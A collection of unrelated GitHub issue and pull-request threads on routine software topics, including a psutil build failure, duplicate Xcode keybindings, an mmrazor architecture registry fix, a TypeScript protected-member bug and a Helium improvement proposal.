I think the EC xref is correct - EC only has a 4-level hierarchy so some 4-digit terms are children of others, but this cannot e catupred by the EC system.

I do not believe the EC xref is correct. The expasy page tells us two reasons why:

It needs to be 1->4, from the reaction definition.
It needs to prefer oligosaccharides, from the commentary.

Even if we ignore the second point, the EC is still for 1->4 only.


{Packaging} Bump psutil to 6.1.0

Test Homebrew Formula failed with
==> python3.11 -m pip --python=/usr/local/Cellar/azure-cli/2.65.0/libexec/bin/py
Last 15 lines from /Users/runner/Library/Logs/Homebrew/azure-cli/115.python3.11:
    File "<string>", line 480, in main
  TypeError: 'color' is an invalid keyword argument for print()
  error: subprocess-exited-with-error

  × Building wheel for psutil (pyproject.toml) did not run successfully.
  │ exit code: 1
  ╰─> See above for output.

  note: This error originates from a subprocess, and is likely not a problem with pip.
  full command: /usr/local/Cellar/azure-cli/2.65.0/libexec/bin/python /usr/local/lib/python3.11/site-packages/pip/_vendor/pyproject_hooks/_in_process/_in_process.py build_wheel /private/tmp/tmp2751l5nz
  cwd: /private/tmp/azure-cli--psutil-20241022-14446-ha2qbt/psutil-5.9.5
  Building wheel for psutil (pyproject.toml): finished with status 'error'
  ERROR: Failed building wheel for psutil
Failed to build psutil
ERROR: ERROR: Failed to build installable wheels for some pyproject.toml based projects (psutil)

TypeError: 'color' is an invalid keyword argument for print() caused by the wrong parenesis position in https://github.com/giampaolo/psutil/blob/0d4900b073f8697ab21c47d823621bea61f39a3b/setup.py#L480-L481
            elif MACOS:
                print(hilite("XCode (https://developer.apple.com/xcode/) "
                             "is not installed"), color="red", file=sys.stderr)

It was fixed in 5.9.6. https://github.com/giampaolo/psutil/commit/6e23a5129375ae19abadc0de49f920899b6e765c#diff-60f61ab7a8d1910d86d9fda2261620314edcae5894d5aaa236b821c7256badd7
Ref:
https://dev.azure.com/azclitools/public/_build/results?buildId=199172&view=logs&j=ebe8970d-a8af-5d7e-4086-8f4ce0be006b

Thank you for your contribution! We will review the pull request and get back to you soon.


[FEATURE]: Gradient accumulation with Gemini DDP

Describe the feature
currently according to Gemini's official desc, we cannot do gradient accumulation manually, hope Colossal AI team can add this feature to the projest.

Hi @zixiliuUSC Received, will consider in follow-up. Thanks for the feedback.


Update RoilingIlluminationShader to Foundry VTT 0.7.9

Which class should be updated?
RoilingIlluminationShader
For which version should the class be updated?
Foundry VTT 0.7.9

Taking this

Fixed by #276


A lots of copilot related keybind items for choose, I can not understand

[ ] I have checked FAQ, and there is no solution to my problem
[ ] I have searched the existing issues, and there is no existing issue for my problem

Describe the bug and the expected behavior
A clear and concise description of what the bug is. And a clear and concise description of what you expected to happen.
To reproduce
Steps to reproduce the behavior:
1.add custom command in copilot app setting page
2.goto xcode keymap setting
Xcode Version 14.3 (14E222b)
Additional information (optional)
macOS version: 13.3
Copilot for Xcode version:
Node version: 19.6.1

I am getting the same.
As far as I can tell, every time Xcode is restarted, additional entries for "Explain Selection" and "Add Documentation to Selection" are added to the key bindings list.

I have submitted a new release to stop the duplication. But I haven't find a way to remove already created ones.

The keybindings are store at ~/Library/Developer/Xcode/UserData/KeyBindings/. Please open it in a text editor and delete anything that looks like
<dict>
  <key>Action</key>
  <string>_invokeSourceEditorExtensionCommand:</string>
  <key>Alternate</key>
  <string>NO</string>
  <key>CommandID</key>
  <string>IDESourceEditorExtension:dev.com.intii.CopilotForXcode.EditorExtension,IDESourceEditorExtensionCommand:dev.com.intii.CopilotForXcode.EditorExtensionCustomCommand3052176549756101770</string>
  <key>Group</key>
  <string>Editor Menu for Source Code</string>
  <key>GroupID</key>
  <string>Xcode.IDEPegasusSourceEditor.MenuDefinition.Editor</string>
  <key>GroupedAlternate</key>
  <string>NO</string>
  <key>Navigation</key>
  <string>NO</string>
  <key>Parent Title</key>
  <string>Copilot Dev</string>
  <key>Title</key>
  <string>Explain Selection</string>
</dict>

you guys are blazingly fast

Just a quick update on removing the extra 'rouge' keybinding entries.
As I had already created key bindings for the new options, I did try to selectively remove the entries where CommandID contained EditorExtensionCustomCommand that also did not have any key binding setup.
These are entries without...
<key>Keyboard Shortcut</key>
<string>[your-key-binding]</string>

However, they still got re-created the next time I started Xcode.
I then deleted all entries where CommandID contains EditorExtensionCustomCommand, restarted Xcode, and it worked correctly - obviously, I just had to re-assign the key bindings again.
Anyway, hope this is helpful.


Ethan: Watch games-news.online

Ethan requests the watch of the watch_keyword games-news\.online. See the MS search here and the Stack Exchange search in text, in URLs, and in code.

games-news\.online has been seen in 1 true positive, 0 false positives, and 0 NAAs.

Approved by Jeff Schaller in Charcoal HQ


Font is not clearly visible

Pull Request Format
PR Title Font is not clearly visisble
Issue #429 : ISSUE NAME solved
Type of PR

Add X in the box to specify the improvement type.
[X] Bug fix
[ *] Feature enhancement
[ ] Documentation update
[ ] Other (specify): ___________

Description
This pull request aims to [briefly describe what the pull request does, e.g., "add a new feature," "fix a bug," "improve documentation," etc.].
Screenshots / Videos (if applicable)
Before:

[Describe the state before the changes, e.g., "The section headings in the footer were misaligned, leading to an inconsistent and cluttered appearance."]

After:

[Describe the state after the changes, e.g., "The section headings in the footer are now properly aligned, providing a clean and professional look."]

@swaraj-das

Checklist

Add X in the box to specify.
[X] I have performed a self-review of my code.
[* ] I have tested the changes thoroughly before submitting this pull request.
[* ] I have provided relevant issue numbers, screenshots, and videos after making the changes.
[* ] I have commented my code, particularly in hard-to-understand areas.

Additional Context
[Provide any additional context about the changes, such as specific challenges you faced or decisions you made. This can help reviewers understand the rationale behind your changes.]
Thank you for reviewing my pull request!

@swaraj-das Once go through this PR

@Bhoomidhanu12

you set the font color to white. If someone views it in light mode, how will they be able to read it?

@swaraj-das Ok then i will change the appropriate font color to both of the modes


Can I run this program on Windows?

There are some .sh files and I can't execute them. In addition, will I encounter any other problems?

Yes you can. Simply install python from python.org, then pip install graphrag
Then init things up with:
mkdir test
cd test
mkdir input
copy a .txt file in input folder
tweak settings.yaml to your taste
python -m graphrag.index --root .  --init
python -m graphrag.index --root .
python -m graphrag.query --method local --root . "How many governance tags are allowed at the tenant scope?"

Super quic quickstart

Yes. The Python package is tested against Windows. You can install the package from PyPI. Not sure which .sh files you’re referring to specifically but some of them are related to only development testing/building.


SQL file writer

Create an SQL file writer. Generate a multi sql insert command when a query returns more than one record.
Formatted sample
INSERT INTO TABLE table_name(
  c1, c2, c3
) values
  ('v1', 'v2', 'v3')
  ('v1', 'v2', 'v3');
INSERT INTO...

Unformatted sample
insert into table_name(c1, c2, c3) values('v1', 'v2', 'v3') ('v1', 'v2', 'v3');insert into...

Remember to add an example in help.

This issue was suspended in favor of #77. That issue will make easier to implement this writer.


pythonPackages.protobuf: Use default version of protobuf

Motivation for this change
This has no current effect because pkgs.protobuf is pkgs.protobuf3_12, but since we always want this to upgrade consistently with the default version of protobuf, we might as well say so.
(This is the PR form of a comment I made on #91446.)
Things done

[x] Tested using sandboxing (nix.useSandbox on NixOS, or option sandbox in nix.conf on non-NixOS linux)
Built on platform(s)

[x] NixOS
[ ] macOS
[ ] other Linux distributions

[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[x] Tested compilation of all pkgs that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review wip"
[x] Tested execution of all binary files (usually in ./result/bin/)
[ ] Determined the impact on package closure size (by running nix path-info -S before and after)
[ ] Ensured that relevant documentation is up to date
[x] Fits CONTRIBUTING.md.

I think we should leave a comment stating that "if a protobuf upgrade causes many Python packages to fail, please pin it here to the previous version".

I would think that would be obvious, but sure, why not. Added.


implement kd framework for mmfewshot

Hi! i was trying to apply kd framework in mmrazor for few shot algorithms.
Some basic suggestions has been provided in wechat group several days ago. Following the MMDetArchitecture, i created MMFewShotArchitecture in file ./mmrazor/models/architectures/mmfew.py. Codes are below.
from ..builder import ARCHITECTURES
from .base import BaseArchitecture
@ARCHITECTURES.register_module()
class MMFewShotArchitecture(BaseArchitecture):
 """Architecture based on MMFewShot."""
    def __init__(self, **kwargs):
        super(MMFewShotArchitecture, self).__init__(**kwargs)

But i got stuck when build models in architecture. codes, bug reports and config file are listed below.
codes:
from mmrazor.models import build_algorithm
from mmcv import Config
from mmrazor.models.architectures import MMFewShotArchitecture
config_path = "./Model/Model_Distill/distillers/TFA_distiller/tfa_distiller.py"
cfg = Config.fromfile(config_path)
arch = cfg.algorithm.architecture
del arch["type"]
a = MMFewShotArchitecture(**arch)

bug reports:
File "/home/user/sun_chen/Projects/FSOD/FsMMdet/test/test_build.py", line 17, in <module>
 a = MMFewShotArchitecture(**arch)
File "/home/user/sun_chen/Packages/OpenMMLab/mmrazor/mmrazor/models/architectures/mmfew.py", line 12, in __init__
 super(MMFewShotArchitecture, self).__init__(**kwargs)
File "/home/user/sun_chen/Packages/OpenMMLab/mmrazor/mmrazor/models/architectures/base.py", line 15, in __init__
 self.model = MODELS.build(model)
File "/home/user/anaconda3/envs/sc_mmlab/lib/python3.7/site-packages/mmcv/utils/registry.py", line 212, in build
 return self.build_func(*args, **kwargs, registry=self)
File "/home/user/anaconda3/envs/sc_mmlab/lib/python3.7/site-packages/mmcv/cnn/builder.py", line 27, in build_model_from_cfg
 return build_from_cfg(cfg, registry, default_args)
File "/home/user/anaconda3/envs/sc_mmlab/lib/python3.7/site-packages/mmcv/utils/registry.py", line 42, in build_from_cfg
 obj_cls = registry.get(obj_type)
File "/home/user/anaconda3/envs/sc_mmlab/lib/python3.7/site-packages/mmcv/utils/registry.py", line 207, in get
 while parent.parent is not None:
AttributeError: 'NoneType' object has no attribute 'parent'

model cfg code:
model = dict(
 type='mmfewshot.TFA',
 pretrained='open-mmlab://detectron2/resnet50_caffe',
 backbone=dict(
     type='ResNet',
     depth=50,
     num_stages=4,
     out_indices=(0, 1, 2, 3),
     frozen_stages=1,
     norm_cfg=dict(type='BN', requires_grad=False),
     norm_eval=True,
     style='caffe'),
 neck=dict(
     type='FPN',
     in_channels=[256, 512, 1024, 2048],
     out_channels=256,
     num_outs=5,
     init_cfg=[
         dict(
             type='Caffe2Xavier',
             override=dict(type='Caffe2Xavier', name='lateral_convs')),
         dict(
             type='Caffe2Xavier',
             override=dict(type='Caffe2Xavier', name='fpn_convs'))
     ]),
 rpn_head=dict(
     type='RPNHead',
     in_channels=256,
     feat_channels=256,
     anchor_generator=dict(
         type='AnchorGenerator',
         scales=[8],
         ratios=[0.5, 1.0, 2.0],
         strides=[4, 8, 16, 32, 64]),
     bbox_coder=dict(
         type='DeltaXYWHBBoxCoder',
         target_means=[.0, .0, .0, .0],
         target_stds=[1.0, 1.0, 1.0, 1.0]),
     loss_cls=dict(
         type='CrossEntropyLoss', use_sigmoid=True, loss_weight=1.0),
     loss_bbox=dict(type='L1Loss', loss_weight=1.0)),
 roi_head=dict(
     type='StandardRoIHead',
     bbox_roi_extractor=dict(
         type='SingleRoIExtractor',
         roi_layer=dict(type='RoIAlign', output_size=7, sampling_ratio=0),
         out_channels=256,
         featmap_strides=[4, 8, 16, 32]),
     bbox_head=dict(
         type='Shared2FCBBoxHead',
         in_channels=256,
         fc_out_channels=1024,
         roi_feat_size=7,
         num_classes=80,
         bbox_coder=dict(
             type='DeltaXYWHBBoxCoder',
             target_means=[0., 0., 0., 0.],
             target_stds=[0.1, 0.1, 0.2, 0.2]),
         reg_class_agnostic=False,
         loss_cls=dict(
             type='CrossEntropyLoss', use_sigmoid=False, loss_weight=1.0),
         loss_bbox=dict(type='L1Loss', loss_weight=1.0),
         init_cfg=[
             dict(
                 type='Caffe2Xavier',
                 override=dict(type='Caffe2Xavier', name='shared_fcs')),
             dict(
                 type='Normal',
                 override=dict(type='Normal', name='fc_cls', std=0.01)),
             dict(
                 type='Normal',
                 override=dict(type='Normal', name='fc_reg', std=0.001))
         ])),

 train_cfg=dict(
     rpn=dict(
         assigner=dict(
             type='MaxIoUAssigner',
             pos_iou_thr=0.7,
             neg_iou_thr=0.3,
             min_pos_iou=0.3,
             match_low_quality=True,
             ignore_iof_thr=-1),
         sampler=dict(
             type='RandomSampler',
             num=256,
             pos_fraction=0.5,
             neg_pos_ub=-1,
             add_gt_as_proposals=False),
         allowed_border=-1,
         pos_weight=-1,
         debug=False),
     rpn_proposal=dict(
         nms_pre=2000,
         max_per_img=1000,
         nms=dict(type='nms', iou_threshold=0.7),
         min_bbox_size=0),
     rcnn=dict(
         assigner=dict(
             type='MaxIoUAssigner',
             pos_iou_thr=0.5,
             neg_iou_thr=0.5,
             min_pos_iou=0.5,
             match_low_quality=False,
             ignore_iof_thr=-1),
         sampler=dict(
             type='RandomSampler',
             num=512,
             pos_fraction=0.25,
             neg_pos_ub=-1,
             add_gt_as_proposals=True),
         pos_weight=-1,
         debug=False)),
 test_cfg=dict(
     rpn=dict(
         nms_pre=1000,
         max_per_img=1000,
         nms=dict(type='nms', iou_threshold=0.7),
         min_bbox_size=0),
     rcnn=dict(
         score_thr=0.05,
         nms=dict(type='soft_nms', iou_threshold=0.5, min_score=0.05),
         max_per_img=100)))

student = dict(model)

teacher = dict(model)

distiller = dict(
     type='SingleTeacherDistiller',
     teacher=teacher,
     teacher_trainable=False,
     components=[
         dict(
             student_module='bbox_head.gfl_cls',
             teacher_module='bbox_head.gfl_cls',
             losses=[
                 dict(
                     type='ChannelWiseDivergence',
                     name='loss_cwd_cls_head',
                     tau=1,
                     loss_weight=5,
                 )]
             )]
     )
algorithm = dict(
 type='GeneralDistill',
 architecture=dict(
     type='MMFewShotArchitecture',
     model=student),
 distiller=distiller
)

I‘m not familiar with Registry and Build mechanism in MMCV, so any suggestions？

I think i've found the problem. type=mmfewshot.TFA  in config file cannot be recognized as well as other repo algorithms, for example type=mmdet.retinanet.
Maybe It's mainly due to different file structure between mmfewshot and the other openmmlab repo such as mmdetection. So builder.py in mmfewshotcannot be correctly found for Registry(model) class
Switch to type=TFA and applying mmfewshot builder function to build models directly in MMFewShotArchitecture works fine for me currently.

Can you make a PR so we can develop it together? @Chan-Sun

that's cool, but i only use only detection part from mmfewshot and kd part from mmrazor. i'm not sure if it works well for other parts.
i'll try to make a PR when finishing this work.

Can you make a PR so we can develop it together? @Chan-Sun

that's cool, but i only use only detection part from mmfewshot and kd part from mmrazor. i'm not sure if it works well for other parts.
i'll try to make a PR when finishing this work.

Welcome!

This problem seems to be common on other openmmlab repo, for example mmocr.
Here is my solution.Take TFA model in mmfewshot as an example.

for architecture code. Add class MMFewShotArchitecture and slightly modify the original BaseArchitecture code

# Copyright (c) OpenMMLab. All rights reserved.
from mmcv.cnn import MODELS
from mmcv.runner import BaseModule

class BaseArchitecture(BaseModule):
    """Base class for architecture.

    Args:
        model (:obj:`torch.nn.Module`): Model to be slimmed, such as
            ``DETECTOR`` in MMDetection.
    """

    def __init__(self, model, **kwargs):
        super(BaseArchitecture, self).__init__(**kwargs)
        #### modification code
        if isinstance(model,dict):
            self.model = MODELS.build(model)
        else:
            self.model = model

# Copyright (c) OpenMMLab. All rights reserved.
from mmrazor.models.builder import ARCHITECTURES
from mmfewshot.detection.models.builder import build_detector

@ARCHITECTURES.register_module()
class MMFewShotArchitecture(BaseArchitecture):
    """Architecture based on MMFewShot."""

    def __init__(self,**kwargs):
        model = build_detector(kwargs["model"])
        super(MMFewShotArchitecture, self).__init__(model)

for config code

model = dict(
 type='TFA',
………………


validation of protected properties is broken when class is merged with interface from another file

falling test cases
// @filename: a.ts
class A {
    protected foo() {}
}
// @filename: b.ts
interface A { }

class B extends A {
    protected foo() {}
}

// @module: amd

// @filename: a.ts
export class A {
    protected protected: any;

    protected setProtected(val: any) {
        this.protected = val;
    }
}

// @filename: b.ts
import {A} from './a';

declare module "./a" {
    interface A { }
}

export class B extends A {
    protected setProtected() {

    }
}

Both tests should pass without errors however now the same error is reported in both cases:
Class 'B' incorrectly extends base class 'A'.

@vladima Will this change also be ported to the 1.8 release?

yes. please see https://github.com/Microsoft/TypeScript/pull/6786

Awesome, thanks!


Create 0000-Hex-Coverage-Limit.md

This Helium Improvement Proposal (HIP) suggests adding a hex multiplier score to the MOBILE Proof of Coverage (PoC) modeled coverage points based on whether other coverage from Helium 5g deployments exist within that res12 hex.

This HIP is so great! Will review and give you any feedback.

You're correct, veMOBILE!
Valerie Spina
On Fri, May 12, 2023, 8:21 PM heatedlime @.***> wrote:

@.**** commented on this pull request.
Should the voting requirement be veMOBILE not veIOT?
Also, under the Score/Grade Multiplier section, this is supposed to be a
table. This is my first HIP, so I'm not sure how to edit it and make it
into a table format.
—
Reply to this email directly, view it on GitHub
https://github.com/helium/HIP/pull/652#pullrequestreview-1425314284, or
unsubscribe
https://github.com/notifications/unsubscribe-auth/AWHXYZ44BDYZDKV7JWD5RCTXF343XANCNFSM6AAAAAAYAFEHGA
.
You are receiving this because you commented.Message ID:
@.***>

I left you a little markdown template to make the table with (you should
see it in comments for review). Start from there and if you need a markdown
generator, you can use this: https://www.tablesgenerator.com/markdown_tables
.
Basically you input your text in between those lines, like you would text
in a table's/spreadsheets box. This notation: | --- | means anything
above is header text (like column headers) and any thing below will be
placed in a row below the header.
Let me know if you have any more questions. Might have over explained that
too!
Valerie Spina
On Fri, May 12, 2023, 9:37 PM Valerie Spina @.***> wrote:

You're correct, veMOBILE!
Valerie Spina
On Fri, May 12, 2023, 8:21 PM heatedlime @.***> wrote:

@.**** commented on this pull request.
Should the voting requirement be veMOBILE not veIOT?
Also, under the Score/Grade Multiplier section, this is supposed to be a
table. This is my first HIP, so I'm not sure how to edit it and make it
into a table format.
—
Reply to this email directly, view it on GitHub
https://github.com/helium/HIP/pull/652#pullrequestreview-1425314284,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AWHXYZ44BDYZDKV7JWD5RCTXF343XANCNFSM6AAAAAAYAFEHGA
.
You are receiving this because you commented.Message ID:
@.***>

Thanks, you've been super helpful on this process! I've addressed all your comments, but there's just one (the last one) I need a little more clarification on. It's the one that isn't marked as resolved.


Add 3.2 to the Ruby CI versions

This is fixed as of https://github.com/fog/.github/commit/d38d39a88f3d40538736d9cef22c85f1105a6524


body needs to contain version

As can be seen in the portal, body needs version when making a request, otherwise it gives an empty 204 response which is breaking, somehow not being caught as exception and directly breaks the code.
DDS-138 on Jira

Since the version can keep incrementing, I added extra request to fetch the most recent version number. With incorrect version, we get status code 409(conflict because version we have sent in body and version on portal are different). With correct version, we get 204 response(empty response) which was resulting in JSONdecode error. Handled the exception.